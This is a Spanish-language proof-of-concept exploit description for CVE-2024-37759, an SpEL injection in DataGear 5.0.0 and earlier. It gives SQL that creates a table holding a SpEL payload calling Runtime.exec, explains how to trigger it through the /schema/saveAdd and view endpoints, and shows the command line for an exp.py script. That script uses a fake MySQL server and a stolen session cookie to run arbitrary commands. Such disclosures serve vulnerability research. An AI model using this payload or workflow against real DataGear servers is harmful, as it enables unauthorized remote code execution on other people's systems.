
Exploit de prueba de concepto para CVE-2024-37759, una vulnerabilidad de inyección SpEL en DataGear 5.0.0 y versiones anteriores que permite la ejecución remota de código mediante tablas de base de datos manipuladas.
DataGear versión 5.0.0 y anteriores tiene una vulnerabilidad de inyección de expresiones SpEL que conduce a la ejecución remota de código.
Cuando solicita la interfaz /data/{schemaId}/{tableName}/view, si la tabla de la base de datos no tiene una clave primaria, un atacante puede inyectar una expresión SpEL maliciosa en el campo data. Cuando se hace clic en el botón "view", la expresión SpEL se ejecutará.
Para ejecutar el ataque, puede crear una tabla de base de datos maliciosa como esta:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
Luego, inicie sesión y agregue esta base de datos MySQL en la interfaz de agregar esquema: /schema/saveAdd.
Haga clic en el botón "view" después, y la expresión SpEL se ejecutará.
Este exploit está modificado de MySQL_Fake_Server. Primero, inicie sesión en el portal y obtenga la cookie "JSESSIONID". Luego puede usar este exploit para ejecutar comandos automáticamente.
El argumento -t especifica el sitio vulnerable objetivo, -o especifica la dirección IP pública donde el servidor falso MySQL es accesible, -p es para el puerto del servidor falso, -s es para el valor de la cookie "JSESSIONID", y -c especifica el comando que desea ejecutar.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"